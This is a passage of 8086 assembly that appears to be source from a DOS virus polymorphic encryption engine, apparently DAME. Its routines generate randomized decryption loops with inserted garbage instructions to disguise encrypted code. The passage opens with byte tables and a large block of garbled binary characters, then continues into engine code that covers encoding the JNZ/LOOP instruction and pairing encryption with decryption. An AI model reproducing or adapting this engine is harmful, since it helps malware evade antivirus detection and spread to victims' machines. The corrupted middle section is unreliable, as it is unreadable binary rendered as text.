        db      0, 0, 0, 0, 0, 0, 0, 0, 7, 255, 255, 255, 255, 255, 240, 0
        db      0, 0, 4, 1, 255, 255, 224, 63, 255, 224, 7, 192, 0, 127, 192, 0
        db      0, 102, 120, 143, 44, 59, 154, 133, 58, 234, 7, 237, 204, 146, 206, 2
        db      240, 122, 0, 31, 149, 2, 84, 9, 164, 248, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 31, 37, 144, 42, 64, 169, 248, 0, 94, 15
        db      64, 115, 73, 51, 183, 224, 87, 92, 161, 89, 220, 52, 241, 30, 102, 0
        db      0, 94, 0, 239, 28, 60, 121, 128, 63, 25, 255, 225, 76, 73, 95, 254
        db      15, 250, 0, 0, 115, 253, 248, 48, 56, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 28, 12, 31, 191, 206, 0, 0, 95, 240
        db      127, 250, 146, 50, 135, 255, 152, 252, 1, 158, 60, 56, 247, 0, 122, 0
        db      0, 62, 0, 240, 60, 63, 248, 127, 195, 248, 0, 30, 67, 198, 96, 1
        db      255, 250, 0´ÑÄÑýÿ¶®ýÿýÿfÕÆÑÀÑýÿ·ÑýÿÉÑºÑ¼®}Õ½Ñ¾®µ®ýÿËÑ¿Ñ¸®¸ÑµÑ¶Ñ¹®ÅÑÌÑ»®¼Ñ»ÑÃ®Â®´®º®½®ÈÑýÿýÿÂÑ·®³ÑÊÑÁÑÃÑÇÑýÿýÿýÿýÿýÿýÿýÿýÿýÿýÿgÕýÿ·±Ë±Ê±ýÿ¿±ýÿyÕuÕrÕ¦Õº±²±ýÿýÿwÕ¨´¶±¡ÕýÿÌ±É±{ÕjÕýÿýÿÈ±£ÕiÕ½±Á±¢ÕýÿsÕÂ±¼±hÕýÿx´¥ÕqÕÇ±tÕ¤ÕÆ±ýÿRÙýÿ³±oÕ¸±Ã±ýÿ¾±xÕnÕlÕ~Õ°±Ä±´±w´|Õµ±ýÿ±±À±»±¹±pÕÅ±mÕzÕvÕTÙSÙkÕdÙýÿz´ýÿjÙYÙgÙwÝ}´kÙnÙ|´\ÙmÙlÙ~´UÙy´£´ýÿ¡´iÙýÿ_Ù¥´pÙhÙqÙ­´«´fÙeÙýÿcÙ]Ù¤´ýÿ¢´¹ÑVÙýÿ·ÝWÙ{´ª´yÝýÿ¦´§´XÙoÙxÝ`Ù[Ù©´aÙ^Ùýÿýÿ®´p·ýÿýÿ|Ý±Ý¶ÝªÝl·»Ýi·zÝýÿ{Ýb·k·¤Ýn·o·¥Ýýÿ²Ý¸Ýj·ýÿd·£Ý}ÝºÝ¨Ý©Ý~Ý´Ý«ÝµÝ­Ýýÿe·Ùáh·f·¹Ý°Ý¬Ýýÿýÿ¡ÝSº¯Ým·§Ýýÿ¦Ýýÿýÿýÿg·c·îá³Ý®Ýýÿ¢ÝýÿýÿýÿýÿýÿýÿýÿéáýÿÚáåáýÿìáQº¬´êáLºýÿýÿýÿKºñáýÿÛáèáÜáçáOºëábÙýÿýÿýÿòáãáRººå¯¼ýÿðáïáTº­å°¼®åýÿßáàáÝáâáÞáóáNº±¼PºUºýÿááýÿíáýÿýÿæáýÿýÿ±åýÿJº´¼ªé¶åµå·åýÿýÿ´åµ¼ýÿ»¼¸¼ýÿ¹¼¯å²å¼åÁ¼¿¼ýÿ³åZÙ²¼¹å°åýÿÂ¼¸åMº·¼äáýÿýÿº¼ýÿ¾¼À¼½¼¼¼ýÿ¶¼»å³¼Ã¼ýÿýÿýÿýÿýÿýÿýÿØ¾Ù¾©éâ¾ß¾ýÿÖ¾Ý¾«éÛ¾Õ¾ýÿÜ¾ýÿ¨é»À×¾ýÿÞ¾ºÀ§é¦éýÿà¾ýÿá¾ýÿ¥é¤é¼À®éÚ¾¬éýÿýÿýÿýÿ½ÀýÿÂÀêìììýÿ¿ÀýÿíìéìýÿëìÀÀÃÀýÿèì¾ÀÁÀYÂ­éXÂýÿýÿ^ÂÔïýÿ\Â]Â×ïÓïZÂÑïkÃÕïýÿÖïÒïýÿ[ÂBòýÿEòýÿýÿFòDòGòlÃCòýÿýÿNôdÄMôLôKôcÄeÄýÿÍõâÄáÄýÿýÿáöàöãöËÅuÅÝ÷âöýÿýÿÜ÷ÍÅÌÅóÅ©øïøä¤ýÿýÿrÙ¯éýÿýÿ¬¦÷Êñ§ï§ýÿð§ýÿÁÌñ©F¬ýÿçÎýÿèÎýÿG¬ÎÑýÿÄ®Å®ÍÑýÿýÿýÿýÿÓ±ýÿÏ±ýÿ§ÕÖ±Õ±Î±Ñ±Ô±Ð±ýÿýÿvÙÍ±¯´ýÿýÿýÿ±´²´uÙxÙ°´sÙwÙýÿtÙýÿq·ýÿýÿ¼ÝýÿýÿVºôáã¾Ä¼½åÅ¼Æ¼¿å¾åÀå±éýÿýÿ°éïìîìÄÀÅÀHòýÿýÿå¤ýÿýÿýÿýÿyÙýÿýÿýÿ´´³´½ÝýÿØïãÄÞ÷æ¤ýÿÆ®ýÿØ±×±zÙ{Ùr·õáWº²éýÿç¤¸¥ýÿò©ÂÌýÿéÎH¬Ù±ýÿ|Ùµ´s·ýÿÁåÂåýÿýÿðì_Âðøè¤ýÿÃÌó©I¬ýÿêÎýÿÇ®ÒÑÐÑÑÑÈ®ÏÑýÿýÿýÿýÿÛ±Ü±¨ÕÝ±Ú±}Ùýÿ~Ù¾ÝýÿýÿYºXºýÿýÿñìÙïýÿJòIòOôýÿ^ÉJ¬ýÿýÿé¤¹¥ýÿ®¦­¦ýÿýÿ¯¦°¦îÉíÉøÊò§ûÊúÊùÊüÊýÿýÿýÿýÿô©ÉÌÅÌÎÌýÿýÿû©ýÿù©ÊÌÆÌÍÌø©@ªÈÌÄÌþ©ËÌ÷©ÌÌú©ü©ÐÌÏÌÇÌö©õ©ý©ýÿýÿýÿýÿýÿýÿïÎõÎýÿP¬M¬ìÎñÎýÿS¬K¬ðÎN¬Q¬ýÿýÿóÎýÿL¬øÎO¬ýÿR¬íÎòÎöÎîÎëÎýÿýÿ÷ÎôÎýÿýÿýÿýÿýÿýÿÐ®É®Ì®ýÿÏ®ýÿÕÑýÿÊ®ÓÑýÿÎ®ýÿýÿË®ýÿÖÑÍ®ýÿýÿýÿýÿýÿýÿ¬Õß±«Õ­ÕÞ±ã±ÔÑýÿªÕ®Õýÿà±©Õâ±ýÿá±ýÿ§Ùýÿ¢Ùýÿ¶´º´·´¥Ù¨Ùýÿ¸´ýÿ¹´¾´ÇÝ¦Ù¼´£Ù¡Ùýÿ½´ýÿ¤Ùýÿýÿýÿy·ýÿ¿Ýv·w·u·ÄÝÃÝÀÝ{·ýÿýÿÂÝ»´ýÿýÿÆÝÁÝx·t·z·ÅÝýÿýÿýÿ\ºýÿøá÷áöáZºýÿýÿýÿýÿýÿ[ºÅåÈåÈ¼ýÿýÿÇ¼ÉåÄåÊ¼ÆåýÿÉ¼ÃåýÿÇåé¾æ¾»éºéýÿ¹é´éýÿµéýÿýÿýÿç¾ýÿä¾è¾³éå¾¶é·é¼éýÿýÿ¸éýÿýÿòìýÿýÿýÿÇÀýÿÜïÆÀÚïÛï`ÂnÃKòýÿmÃýÿýÿQôRôýÿfÄýÿPôäÄýÿß÷ÎÅªø«øýÿê¤ýÿ±¦²¦ó§ýÿÑÌT¬Ñ®ä±ýÿýÿÒ°ýÿ¿´À´Ì³©Ùýÿ|·úáùáýÿýÿë¤³¦ÒÌBªýÿAªýÿùÎúÎýÿ×ÑØÑÒ®Ó®ýÿÔ®¯Õýÿýÿæ±ýÿÂ´ýÿÁ´ÈÝzßûá½éýÿýÿaÂgÄì¤ýÿ¼¥½¥»¥¾¥º¥ýÿýÿ¶¦ýÿöÉµ¦·¦ýÿýÿñÉðÉóÉòÉõÉ´¦ïÉôÉýÿýÿýÿýÿýÿýÊý§þÊCËü§ýÿGËBËEËõ§ö§÷§ø§ýÿ@¨ýÿAËú§A¨ýÿ@ËFËýÿù§DËû§ô§þ§ýÿýÿýÿýÿýÿýÿýÿýÿýÿWªýÿÔÌCªýÿMªNªFªXªHªÜÌSª×ÌIªæÌçÌßÌØÌVªäÌQªOªýÿåÌýÿãÌÛÌÓÌÚÌJªýÿPªýÿDªÞÌÝÌÕÌýÿRªáÌÖÌUªèÌEªýÿLªÙÌâÌTªýÿGªKªýÿàÌ[Ï\¬i¬ýÿVÏLÏb¬JÏ[¬EÏe¬RÏþÎAÏýÿýÿýÿýÿDÏûÎQÏaÏ`¬FÏXÏýÿýÎ_Ï`ÏcÏZÏKÏSÏf¬Y¬a¬m¬V¬X¬ýÿýÿýÿCÏj¬c¬]Ï@Ïl¬g¬IÏýÿýÿk¬PÏHÏd¬\ÏTÏýÿ^¬bÏGÏZ¬YÏOÏ_¬UÏW¬üÎh¬ã®]¬NÏMÏBÏýÿ^ÏýÿWÏýÿýÿU¬ìÑê®íÑýÿáÑß®ë®ýÿÚÑýÿãÑëÑýÿÙÑôÑÕ®ýÿýÿýÿóÑîÑýÿïÑÝ®è®åÑýÿæÑðÑçÑýÿâÑÜÑÝÑêÑäÑýÿýÿÖ®Ú®òÑÞÑæ®â®ýÿýÿå®ì®Û®ç®éÑé®Ø®ýÿ×®ÛÑýÿßÑà®ñÑèÑàÑä®á®ýÿÙ®Ü®ÄÕýÿ´ÕµÕ¹ÕýÿÈÕÅÕýÿ¾Õ½Õí±ÁÕÐÕ°ÕýÿÑÕÃÕÕÕÉÕì±ÇÕç±ü±ò±ýÿö±õ±±ÕýÿÎÕÔÕÌÕÓÕýÿýÿÀÕ²ÕÒÕÂÕê±÷±ýÿËÕð±ýÿýÿýÿÊÕ³Õø±ýÿú±ÍÕû±é±ºÕÏÕýÿýÿï±ù±¼ÕÆÕ·Õ»Õô±¶Õè±ñ±î±¿ÕÞ®ÀÙë±ó±ýÿÃÙÙÙÎÙÖ´ýÿÑ´½ÙÒ´ÍÙýÿÆÙÓÙÎ´«ÙÕÙÄ´³ÙÇ´Æ´ýÿ×´ýÿ­ÙÏÙÐÙÉ´Å´»ÙýÿÐ´¶ÙýÿÑÙÌ´ÉÙÖÙ°ÙµÙ¯ÙýÿË´ÂÙÞÝ±ÙÏ´ºÙÒÙÊ´·Ù´ÙÅÙÍ´Ã´Ù´ÈÙÇÙýÿýÿýÿýÿýÿýÿ¬ÙÈ´ÔÙ¼Ù¾ÙýÿËÙÊÙªÙÓ´Õ´²Ù¹ÙÁÙÔ´¸ÙÄÙ×ÙýÿÌÙØÙýÿýÿýÿýÿ®ÙýÿýÿýÿýÿòÝ¦·ýÿðÝÛÝàÝÙÝýÿìÝËÝÒÝýÿêÝôÝÜÝýÿÏÝâÝçÝÓÝýÿäÝÐÝýÿýÿ×ÝØÝ¨·ëÝéÝýÿÌÝîÝýÿïÝñÝ¬·¤·ýÿ¸ÕÔÝæÝÕÝ¡·±·íÝ¯·«·ÊÝ£·ýÿÍÝ°·ýÿÝÝÉÝýÿ©·áÝÑÝª·ÚÝ~·Ø´ãÝ¿ÙÎÝýÿýÿèÝ¥·åÝ¢·ßÝ­·ÖÝóÝýÿýÿýÿýÿýÿýÿ§·ÆÞýÿýÿ®·ýÿýÿýÿýÿýÿýÿJâHâýÿ^âFâýÿXâ}·_ºBâ]âýÿGâUâdº]ºýÿ[âýÿ@âZâýÿoºQâaâmºIâ^ºKâYâgºDâkºaºMâCâüáýÿWâhº`âýáeºýÿSâýÿfºEâPâLâNâýÿ`º_ânºOâýÿbâýÿýÿþáTâcºlºjºAâVâiºýÿýÿbºRâýÿýÿýÿýÿ\âýÿýÿýÿýÿýÿýÿýÿýÿÕåýÿÑåÍåáåÞåÍ¼ýÿýÿååÔåØ¼ÛåýÿýÿÐåÚåÕ¼îåýÿëåÝåÎåýÿýÿâåäåÑ¼ØåÓåÊåÎ¼Ö¼ýÿçå×¼ËåíåàåæåÔ¼ýÿýÿãåýÿêåýÿÙ¼ýÿÓ¼ÜåÏåïåÌåèåÐ¼ýÿÖåýÿ×åÏ¼Ì¼ÒåÒ¼ýÿË¼ýÿéåìåÙåÊéýÿýÿýÿýÿýÿýÿýÿýÿýÿÂéýÿ¾éö¾ýÿýÿë¾ð¾ì¾Ìé×éê¾ÄéÍéßåÎéýÿýÿñ¾ýÿÝéõ¾ø¾Àéýÿô¾ýÿÛéÜéÒéÑéÉéýÿýÿÓéÚéÙéýÿï¾í¾ËéÈéýÿÅéØé÷¾Öéó¾ò¾ýÿÐéýÿ¿éÁéÃéÕéÏéî¾ýÿÆéýÿÔéýÿýÿýÿýÿýÿýÿÇéýÿýÿýÿýÿýÿýÿýÿÏÀEíÈÀõìýÿAíÊÀHíýÿüìýÿ÷ìýÿýÿIíóìþìýÿÑÀDíJíýìÉÀ@íôìÐÀýÿýÿGíùìÌÀýÿûìøìÒÀúìËÀÎÀCíöìFíýÿBíýÿýÿýÿcÂçïhÂiÂýÿýÿýÿbÂæïýÿãïäïfÂÞïâïeÂýÿßïýÿýÿýÿýÿgÂdÂýÿÝïáïåïýÿýÿýÿQòNòWòýÿVòTòOòýÿrÃýÿýÿýÿýÿýÿPòqÃÍÀSòpÃXòRòMòàïýÿýÿýÿoÃýÿLòVôýÿUôUòhÄýÿYôZôTôXôýÿSôýÿýÿýÿýÿÑõWôçÄåÄÏõýÿýÿýÿÒõýÿÎõÐõæÄýÿýÿýÿåöæövÅäöýÿýÿýÿâ÷ÏÅà÷á÷¬øýÿýÿVÆóøñøòøôøýÿýÿýÿ»ùýÿí¤¸¦ýÿYªýÿéÌýÿýÿdÏýÿýÿýÿõÑ÷ÑýÿöÑýÿøÑý±×ÕùÑýÿÖÕØÕÙÕÚÙÛ´ÛÙÝÙÜ´Ú´ÜÙýÿúÝøÝ÷ÝýÿöÝõÝ²·ùÝpºcâeâqºdâÛ¼ýÿÚ¼ðåýÿýÿßéÞéàéýÿýÿù¾ýÿKíÓÀýÿèïjÂYòwÅî¤¿¥¹¦B¨Zª[ªýÿýÿn¬ýÿýÿúÑýÿýÿýÿýÿ³·ýÿýÿýÿÑæú¾kÂï¤ýÿº¦ýÿýÿëÌ\ªêÌýÿeÏo¬fÏýÿp¬ýÿüÑî®í®ýÿÞÕÜÕÝÕÛÕýÿÚÕýÿýÿÞÙáÙÞ´ßÙÝ´àÙýÿûÝýÿýÿfâgâhâýÿóåòåÜ¼ñåôåáéýÿýÿâéãéýÿLíÔÀlÂZòýÿèÄ_Éýÿq¬gÏï®ýÿýÿþ±ýÿß´âÙýÿµ·´·ýÿýÿiâjâÝ¼Þ¼åéäééïã÷ð¤`ÉÀ¥ýÿC¨HËýÿr¬¶·ñ¤ýÿhÏs¬iÏýÿÕÀò¤ýÿýÿìÌýÿjÏýÿBÒAÒþÑýÿýÑCÒ@Òýÿýÿ@²A²ýÿýÿà´ãÙýÿäÙåÙýÿýÿýÿAÞBÞ@ÞýÿýÝþÝ··kâ÷åöåõåøåçéæéû¾èéýÿÖÀMíýÿêï[òçöýÿó¤Â¥Á¥ýÿ]ªaÉ~É»¦ýÿ÷ÉIËJË^ªýÿíÌýÿt¬kÏlÏýÿð®ô®DÒó®ñ®ò®ýÿßÕB²ã´ýÿá´â´æÙýÿýÿrºô¤ýÿ¡ÉýÿÃ¥ýÿýÿ¤ÉýÿýÿÆ¥£ÉÅ¥Ä¥D¨¢ÉýÿýÿøÉýÿýÿýÿüÉþÉ@ÊÅ¦Æ¦ûÉÁ¦ýÿùÉýÿýÉÂ¦ýÿ½¦ýÿ¾¦ýÿÄ¦úÉ¼¦E¨¿¦À¦Ã¦ýÿýÿýÿ[ËYËLËQ¨SËL¨MËýÿUËýÿRËO¨QËV¨ZËX¨ýÿZ¨ýÿKËýÿM¨\ËýÿT¨W¨ýÿEÍG¨^¨U¨NËJ¨Y¨VËH¨I¨CÍOËP¨[¨]ËPËN¨ýÿS¨îÌ\¨WËR¨ýÿ]¨F¨TËK¨XËDÍjªzªõÌqªýÿKÍbªýÿeªBÍýÿóÌ÷ÌmªoªúÌvªhªfªgªuªGÍpªùÌûÌnªsªüÌJÍýÿu¬yªýÿcªIÍýÿMÍøÌOÍ@ÍlªôÌkª}ªrªýÿòÌuÏxª|ªAÍFÍýÿ~ªwªiª_ªýÿdªýÿöÌ`ªNÍýÿðÌïÌýÌñÌ{ªõ®tªþÌaªýÿ¦¬ýÿýÿýÿLÍýÿýÿýÿýÿýÿýÿ|Ï¡Ïýÿ¤ÏwÏýÿýÿ§ÏªÏ¬ÏtÏv¬{¬IÒ­¬¥Ï­Ï{ÏsÏýÿýÿýÿdÒ~¬¢ÏxÏzÏ¥¬ýÿ}Ï}¬pÏ¨Ïýÿ«Ïýÿýÿz¬ýÿ¨¬mÏª¬x¬®¬©ÏoÏ«¬^ÒHÍ|¬w¬vÏnÏ¬¬¤¬£Ï©¬§¬yÏ¡¬qÏ¢¬£¬rÏ¦Ïy¬~ÏLÒý®C¯ýÿýÿýÿUÒ[ÒWÒJÒMÒFÒGÒJ¯ú®VÒ_ÒE¯ö®ýÿ@¯NÒB¯OÒYÒýÿýÿýÿD¯hÒHÒü®û®H¯EÒfÒZÒgÒaÒSÒbÒýÿ\ÒeÒcÒI¯TÒù®ø®A¯G¯`ÒF¯QÒC²ýÿiÒPÒKÒþ®K¯÷®ýÿXÒ]Òe²áÕåÕýÿR²P²ýÿýÿG²ãÕâÕ[²ýÿèÕU²ýÿúÕGÖD²÷ÕðÕg²àÕýÿüÕýÿd²X²c²N²ìÕþÕöÕO²I²EÖýÿýÕ@ÖQ²Y²BÖêÕûÕïÕDÖ^²F²\²ôÕòÕóÕS²îÕíÕH²çÕFÖJ²ñÕh²ýÿb²æÕ_²]²f²øÕa²RÒùÕ`²AÖE²õÕW²éÕV²ýÿT²L²K²çÙCÖýÿýÿëÕýÿýÿüÙýÿM²AµZ²î´öÙü´ýÿêÙë´ç´IÚí´ñ´ì´õ´MÚDÚýÿýÿñÙú´ô´ýÙä´JÚCÚè´÷Ù÷´UÚVÚýÿå´HÚù´ûÙíÙîÙý´òÙùÙóÙýÿû´DµïÙèÙéÙýÿëÙê´øÙýÿø´BµýÿýÿúÙSÚKÚæ´QÚò´ýÿð´ýÿWÚï´AÚôÙþÙGµEÚBÚðÙCµOÚLÚTÚé´@ÚFµýÿGÚýÿýÿó´ö´ýÿFÚEµõÙäÕýÿýÿPÚNÚRÚìÙ@µýÿýÿýÿaÞ`ÞFÞ½·ýÿ_ÞIÞJÞýÿÇ·hÞÂ·^ÞýÿCÞÈ·¾·RÞHÞKÞcÞ¸·jÞbÞÁ·WÞÌ·ýÿýÿË·Å·ýÿýÿiÞ¹·UÞLÞYÞeÞÍ·ýÿ»·TÞýÿMÞÄ·ýÿÃ·PÞZÞdÞGÞQÞ¼·[ÞÉ·À·NÞ¿·EÞSÞgÞþ´°ºVÞlâXÞfÞÆ·OÞº·Ê·ð¼DÞýÿ]Þýÿýÿýÿ\Þªâ­º}â¤â¢ºýÿnâ¯ºýÿwºmâ°â±ºqâ£âýÿsâ³â¯âuº¡ºSæ®º}ºoâýÿ®â£º«â¸âuâ~âýÿýÿ¶â¬â|ºýÿýÿ|âvºtº¨ºýÿýÿzâwâxâýÿ²âýÿ·âµâzº¹â~º§ºýÿpâúåyâýÿxº¬º©º{º¥âtâªº§â¤º¦ºsºýÿ©â¡ârâ¥º±â´â{â¨âýÿyºß¼¦âùåýÿ­âýÿýÿýÿýÿýÿýÿýÿýÿýÿýÿvâDæNæâ¼MæYæä¼KæýÿOæï¼ýÿFæç¼ýÿRæðéó¼ò¼TæCæ^æí¼ýÿã¼Wæýÿ[æ`æUæIææ¼é¼ñ¼ì¼ýÿLæ¢âýÿýÿHæ_æè¼ýÿë¼aæà¼Væûå\æßÀýÿJæýÿá¼Eæå¼üå«ºAæýÿZæBæ@æê¼ýÿXæýÿþåQæPæ]æGæî¼ýÿýÿýÿýÿýÿýÿóéýÿI¿þ¾@êëéA¿÷éH¿C¿õéOíûéBêúéééøéDêFêý¾EêD¿J¿ýÿG¿ýÿþéF¿ùéýÿíéòéýÿýéE¿B¿ü¾@¿ñéýÿýåìéïéAêôéêéNíCêîéüéýÿýÿýÿýÿQíãÀýÿýÿ×ÀýÿýÿÛÀSíYíWíÙÀÚÀáÀZíRíÜÀýÿVíUí[íâÀýÿÝÀàÀTíäÀÞÀåÀØÀXíýÿPíýÿýÿ÷ïýÿýÿqÂôïöïýÿoÂòïóïîïýÿýÿöéïïpÂëïýÿmÂøïnÂìïíïñïsÂýÿrÂýÿýÿðïxÃ_òeòyÃ\òvÃsÃgòwÃýÿtÃ^òaòbòcòfòýÿõï]òuÃdòhò`òýÿýÿýÿ]ôjÄ`ôkÄhô_ô\ôýÿ^ôbôeôdôgô[ôýÿiÄcôfôiôaôÓõÔõØõÙõýÿÖõ×õÕõýÿéÄýÿýÿýÿýÿxÅëöýÿýÿèöéöêöyÅýÿå÷ä÷ýÿ¯øôÅ­ø°ø®øõøWÆeÆ£ùlùýÿ¢ùÐùÑùõ¤ýÿýÿýÿýÿÇ¦AÊýÿýÿ^Ëýÿ_¨ýÿb¨ýÿ_Ëýÿ`¨a¨ýÿýÿýÿýÿXÍZÍUÍRÍTÍýÿýÿýÿ¤ªýÿýÿýÿ¢ªýÿýÿVÍ£ªSÍPÍ¡ªWÍýÿQÍ¥ªYÍýÿýÿýÿýÿ¯Ïýÿ³Ïýÿýÿ·¬ýÿýÿýÿýÿ¶Ïýÿ¯¬²¬´¬¶¬³¬²Ï±Ïýÿ±¬´ÏµÏýÿ®Ïµ¬ýÿ°¬ýÿýÿýÿ°ÏýÿýÿýÿýÿýÿýÿwÒxÒyÒP¯ýÿL¯nÒýÿvÒ{ÒQ¯ýÿlÒrÒkÒuÒýÿýÿqÒM¯O¯zÒýÿjÒmÒsÒýÿtÒ|ÒpÒýÿN¯ýÿýÿýÿýÿýÿýÿýÿýÿýÿýÿm²NÖýÿýÿPÖLÖýÿXÖJÖWÖi²HÖ[ÚRÖl²ýÿSÖVÖýÿZÖýÿOÖýÿTÖýÿýÿj²k²YÖMÖIÖ[ÖýÿQÖýÿýÿUÖýÿýÿýÿKÖýÿHµIµeÚOµýÿYÚbÚXÚLµ`Ú^Úýÿ_ÚJµýÿcÚýÿýÿýÿýÿýÿ\ÚZÚKµ]ÚaÚýÿýÿýÿMµýÿýÿýÿdÚýÿýÿýÿýÿýÿýÿpÞwÞyÞ¡ÞýÿÚ·kÞýÿÒ·ýÿzÞ×·¢ÞÎ·ýÿ}ÞýÿmÞ~ÞlÞýÿÜ·ýÿxÞÏ·£ÞýÿÔ·qÞÙ·|ÞoÞvÞrÞnÞÑ·Ø·Ö·Ó·Û·Ð·uÞýÿÕ·ýÿNµýÿ{ÞýÿsÞýÿýÿýÿýÿýÿtÞýÿýÿÁâýÿ´ºýÿýÿ½âÃâ¿âýÿ¶º¾âÂâºâýÿ¼âµºýÿýÿýÿýÿÀâ»âýÿ·ºýÿ²ºýÿýÿÄâýÿ³ºgædæpæjælæô¼fænæýÿýÿmækæýÿqæ÷¼hæoæýÿõ¼ýÿýÿcæeæö¼bæræýÿiæýÿýÿJêQ¿ýÿýÿUêSêK¿IêLêMêHêU¿V¿GêVêQêO¿L¿PêNêýÿýÿR¿RêM¿ýÿN¿ýÿOêP¿KêýÿTêS¿WêXêT¿ýÿýÿçÀîÀ\íbíýÿ`íêÀéÀæÀ^íýÿýÿýÿìÀëÀèÀýÿaí]í_íýÿíÀýÿýÿýÿwÂûïýÿtÂuÂýïvÂúïýÿùïlòüïýÿmòzÃkòýÿýÿjòýÿiò{ÃýÿýÿlÄýÿýÿjôkôýÿýÿýÿýÿÜõÛõêÄýÿÚõìöíöýÿýÿæ÷±øýÿýÿöø¼ùyÆÆùö¤ýÿ¦ª§ªýÿýÿ¸¬ýÿýÿýÿýÿïÀ÷¤ýÿ¨ªR¯Ý·ø¤ýÿn²¸ºbÉýÿ·Ï}ÒýÿÅâýÿðÀù¤©ª¸Ï¹ÏfÚPµýÿýÿ¤ÞýÿýÿÞ·Æâýÿýÿø¼ýÿ|Ãú¤gÚû¤ýÿÉ¦BÊÈ¦e¨d¨c¨`Ëýÿýÿýÿªªýÿ«ª[ÍýÿºÏýÿ½Ïº¬»Ïýÿ¹¬¼Ï»¬ýÿ¢Ò¡Ò~ÒS¯ýÿ]Ö^Öo²\Ö_ÖRµp²ýÿýÿQµkÚjÚýÿhÚiÚýÿlÚ¦Þ¥Þ©Þýÿ¨Þ§Þ¹ºÉâýÿÈâººÇâsæýÿtæù¼ýÿYêZêýÿýÿrò}ÃqòpònòoòëÄlôîö÷øýÿü¤ýÿ¥ÉÇ¥¦ÉýÿýÿýÿCÊDÊýÿýÿýÿýÿfËýÿýÿbËýÿaË¬ªeËg¨cËf¨gËdËýÿýÿ_Í¾Ï]ÍdÍýÿ­ªýÿ°ªeÍaÍýÿbÍýÿ\Í¯ª^Í®ªcÍýÿ`ÍýÿýÿÂÏ½¬¾¬ýÿÅÏ¿ÏýÿÄÏýÿÀÏ¼¬ÃÏÁÏýÿýÿýÿýÿýÿýÿýÿ¨Ò¥Òýÿ§ÒX¯W¯U¯¤Ò©ÒT¯V¯¦ÒgÖ£ÒªÒýÿýÿýÿýÿýÿbÖfÖýÿeÖnÚyÚýÿýÿhÖýÿcÖmÚt²ýÿýÿs²aÖdÖu²ýÿr²q²`ÖiÖýÿýÿýÿpÚwÚýÿTµvÚsÚýÿVµýÿýÿýÿuÚýÿýÿoÚqÚtÚrÚUµxÚSµß·ýÿýÿ­Þ¬ÞªÞýÿâ·á·®Þýÿ«ÞÊâ»ºà·ýÿýÿýÿ°Þ¯ÞýÿÍâËâú¼ýÿ¼ºÌâvæýÿýÿýÿýÿû¼uæ~æ}æ{æýÿzæwæxæyæ|æ¡æýÿýÿ_ê\ê]êW¿[êaê`ê^êýÿdíeíñÀýÿòÀcíýÿyÂþïxÂ~Ãýÿ¡ÃmÄnômôÝõïözÅè÷ç÷é÷È¥ÆÏY¯v²jÖÉ¥§Éý¤ýÿýÿEÊýÿýÿýÿlËjËkËhËh¨iËýÿýÿýÿýÿýÿmÍýÿ³ªkÍgÍjÍýÿfÍµªiÍýÿ²ª±ªýÿ´ªlÍhÍýÿýÿýÿýÿÂ¬Å¬ÎÏÍÏÌÏ¿¬ÕÏËÏýÿÁ¬¯ÒýÿÒÏÐÏÄ¬ýÿÈÏÓÏýÿÊÏÔÏÑÏÉÏýÿÀ¬ÖÏÇÏÃ¬ýÿýÿýÿýÿ´Ò«Ò¶Òýÿ®Ò¹ÒºÒ¬Ò¸ÒµÒ³Ò·Ò_¯ýÿ]¯ýÿýÿ±Òýÿ­Òýÿ°Ò»Ò²Ò^¯ÏÏýÿZ¯\¯ýÿýÿýÿýÿýÿxÖmÖv     dl,0e2                          ; let us encode the LOOP
        jmp     short do_jnz

regular:neg     dx
go_counter_forwards:
        call    add_reg_xxxx                    ; Adjust counter register
        pop     dx
do_jnz: pop     bx
        mov     ax,[bx]                         ; Calculate value to JNZ/LOOP
        sub     ax,di                           ; back
        dec     ax
        dec     ax
        xchg    ah,al                           ; Value is in AL
        mov     al,dl   ; jnz

        or      ah,ah                           ; Value >= 128?  If so, it is
        js      jmplocation_okay                ; impossible to JNZ/LOOP there
                                                ; due to stupid 8086 limitation
        pop     ax ax                           ; Take return locations off
        jmp     redo_dame                       ; the stack and encode again
jmplocation_okay:
        stosw                                   ; Encode JNZ/LOOP instruction
        mov     word ptr [bx+_encryptpointer-_loopstartencrypt],di
        ret                                     ; Save current location

encryption:
; This routine encodes the instruction which actually manipulates the memory
; location pointed to by the pointer register.
        and     ch,not 4                        ; Default = no double reference
        call    one_in_two                      ; But there is a 50% chance of
        js      not_double_reference            ; using a double reference
        or      ch,4                            ; Yes, we are indeed using it
not_double_reference:
        mov     di,_decryptpointer              ; Set the registers to work
        mov     bp,offset _decrypt_relocate_num ; with the decryption routine
        call    twogarble                       ; Insert some null instructions

        xor     ax,ax                           ; Get the value for the rm
        mov     al,_pointer_rm                  ; field corresponding to the
                                                ; pointer register/s used
        call    choose_routine                  ; Get random decryption type
        call    go_next                         ; to DX, BX, SI
        push    si dx si dx                     ; Save crypt value/register
                                                ; and crypt pointer
;;        mov     _nest,0 ; not needed - choose_routine does it
        test    ch,4
        jz      not_double_reference1           ; Double reference?

        xchg    ax,dx                           ; Pointer register/s to dx
        call    get_another                     ; Unused register to AX (reg1)
        call    mov_reg_reg                     ; MOV reg1,[pointer]
        mov     _kludge,dx                      ; Store the pointer register
not_double_reference1:
        pop     dx si                           ; Restore decryption pointer
        call    handle_jmp_table                ; Encode decryption routine
        push    bx                              ; Save routine that was used
        call    twogarble                       ; Garble some more for fun

        test    ch,4
        jz      not_double_reference2           ; Double reference?

        xchg    ax,dx                           ; reg1 to dx
        mov     ax,_kludge                      ; Restore pointer
        push    ax                              ; Save pointer
        call    mov_reg_reg                     ; MOV [pointer],reg1
        call    clear_reg_dx                    ; Return reg1 to free pool
        pop     ax                              ; Restore pointer
not_double_reference2:
        mov     bp,offset _encrypt_relocate_num ; Set the registers to work
        call    swap_decrypt_encrypt            ; with the encryption routine

        pop     bx dx si                        ; Restore crypt value/register
        call    go_next                         ; Convert to encryption table
        jmp     short finish_encryption         ; and encode the encryption
                                                ; corresponding to the
                                                ; decryption
do_encrypt1:                                    ; Perform encryption on a word
        call    playencrypt                     ; Alter encryption value
        call    get_rand                        ; Have a tiny chance
        cmp     ax,6                            ; (1% chance) of not
        jb      playencrypt                     ; encrypting at all
        call    encryption                      ; Encrypt!
playencrypt:                                    ; Update the encryption value
        mov     di,_decryptpointer
        call    twogarble

